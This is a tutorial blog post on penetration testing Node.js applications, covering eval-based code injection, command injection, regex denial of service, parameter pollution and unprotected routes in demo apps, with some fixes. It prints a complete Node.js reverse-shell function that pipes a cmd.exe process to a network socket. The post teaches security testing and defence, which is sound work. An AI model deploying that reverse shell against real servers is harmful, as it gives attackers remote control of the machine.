Penetration testing

An introduction to penetration testing Node.js applications

Sahil Dhar
March 15, 2018 by
Sahil Dhar

In this article, we will have a look at how to proceed when penetration testing Node.js applications or looking for Node.js specific issues.

Node.js is a server-side language built on the top of google chrome's v8 engine. It uses event-driven non-blocking I/O which makes it a perfect candidate for data-intensive applications. It runs on a single threaded server which also means any intentional/unintentional denial of service attempt will kill the server and leave all the clients offline, so better use multiple instances with load balancers. In this article, we will be looking at some vulnerabilities more specific to node.js and how to identify and exploit them in real world scenarios.

FREE role-guided training plans

FREE role-guided training plans

Get 12 cybersecurity training plans — one for each of the most common roles requested by employers.

 

Information gathering

 

Like any other information gathering phase of web applications, we will be looking into any weird cookie names["connect.sid"], server headers and X-powered-By headers. As can be seen in the following screenshot, X-Powered-By header reveals that the application is running under Express framework. Further, we can now dig into framework/package specific vulnerabilities too.

 

Vulnerability analysis and exploitation

 

As of now, we have a slight idea for identifying node.js applications, let's have a look at other vulnerabilities too. We will be looking into the following set of vulnerabilities:

  • Server Side Code Injection
  • System Command Injection
  • Regex DOS
  • HTTP Parameter Pollution
  • Unprotected Routes
  • Global Namespace Pollution
  • Cross Site Scripting
  • Insecure Components
  • Secure Code Review

 

Server side code injection

 

Code injection in Node.js also revolves around most famous function named "eval," so never use eval function in your code, which also means that never insert user input directly in any of the system functions such as setTimeOut, setInterval, etc.

In our demo code, we have used eval to parse the type of parameter as in this case is an integer to add them later. The same can be overcome use parseInt function.

As can be seen, we were able to execute our payload and shutdown the application.

 

Reverse shell

 

Further, we can use the following snippet of code to get a reverse shell on node.js applications.

 

 

function rev(host,port){

var net = require("net");

var cp = require("child_process");

var cmd = cp.spawn("cmd.exe", []);

var client = new net.Socket();

client.connect(port, host, function(){

        client.write("Connectedrn");

client.pipe(cmd.stdin);

cmd.stdout.pipe(client);

cmd.stderr.pipe(client);

        client.on('exit',function(code,signal){

            client.end("Disconnectedrn");

        });

        client.on('error',function(e){

            setTimeout(rev(host,port),5000);

        })

});

return /a/;

};rev("127.0.0.1",4444);

 

System command execution

 

While doing a code review of node.js applications, it is very important to look at functions used from the module name child_process, as this module covers all functionalities from spawning a new process to executing system commands.

As can be seen, we have created a demo application for the ping. However, there is no validation placed for ip parameter.

The above code can be exploited for system command execution simply as follows:

 

Regex DOS (Denial of Service)

 

Regular expression DOS mainly revolves around the term called Catastrophic Backtracking which implies on how regex engine searches for the defined pattern in user's input. Let's have a look at following example:

Here we are searching for the pattern with x's ending with y's, but there is one problem with this if our input does not end with y and instead it has more x's, each x+ will start backtracking and end up being in a loop by executing more number of iterations to make sure there is no y's in our input. In the following screenshot, we can see that for correct input, the execution time is less than one second.

Let's provide only the number of x's. As can be seen, the execution time increases to one second and remember Node.js is running one single thread so that it will cause a denial of service for all other clients using same application at a time.

 

HTTP parameter pollution

 

Node.js has this weird feature which allows taking more than one value for a single parameter. So, if there is parameter name email and if add one more parameter with the same name, the value of email parameter will contain two different values separated by a comma.

As we can see, we are just printing the value of email parameter here.

As shown here, when we provide values to two or more parameters with same name node.js concatenates them with a comma. This feature can be used to exploit parameter pollution vulnerabilities. An example can be email web client applications, where the application is expecting one value for email parameter, and you can provide one or more values.

 

Unprotected routes

 

As most of the modern applications are built using MVC architecture, let's first understand what this term means. MVC separates the application into three logical components Model, View Controller. This significantly helps developers and software architects to separate business logic from the application code. In simpler terms, when a request is sent to MVC based application the endpoint or URL where the request is sent to load the User interface called as VIEW and the endpoint responsible for loading view or performing any validation tasks on user input known as CONTROLLER. The data ends from the which the controller fetches the data known as MODEL.

All the URLs/Controller endpoints are called as routes embedded on routes files, and there is a router sitting in between which decided when the user hits http://www.example.com/abc which controller it has to trigger.

Now the problem arises in the case of authenticated/authorized and non-authenticated/unauthorized routes. From the name, we can determine authenticated/authorized routes are the ones which we can access after login or after a certain level of access.

To demonstrate this functionality, we have setup a popular testbed for nodejs application known as Nodegoat. It is demo Retirement application having multiple user roles. Where only admin can access the retirement benefits of other users.

As can be seen, the benefits route does not check whether the user is admin and thus any other user can access the retirement benefits of another user.

As can be seen, we logged in from a normal user, and there is no functionality named "benefits" for the normal user account.

We the login from an admin account and found out, this functionality can be accessed by admin users only.

To verify the above behavior, we again switched to the normal user account, and force browsed the benefits page and were able to access and modify its contents.

 

Fixing unprotected routes

 

We further add isAdmin middleware to the route to make sure only admin user accesses this page.

We again tried to access the benefits page, got redirected to the login page as defined in isAdmin middleware.

 

 

 

Conclusion

 

In this article, we have discussed 5 out of 9 vulnerabilities; the remaining will be covered in second part of this article.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

 

Sources

 

Sahil Dhar
Sahil Dhar

Sahil Dhar is an Information Security Enthusiast having more than two years of hands-on experience in Application Security, Penetration Testing, Vulnerability Assessments and Server Config Reviews. He has also been acknowledged and rewarded by various organizations like Google, Apple, Microsoft, Adobe, Barracuda, Pinterest, Symantec, Oracle etc for finding vulnerabilities in their online services.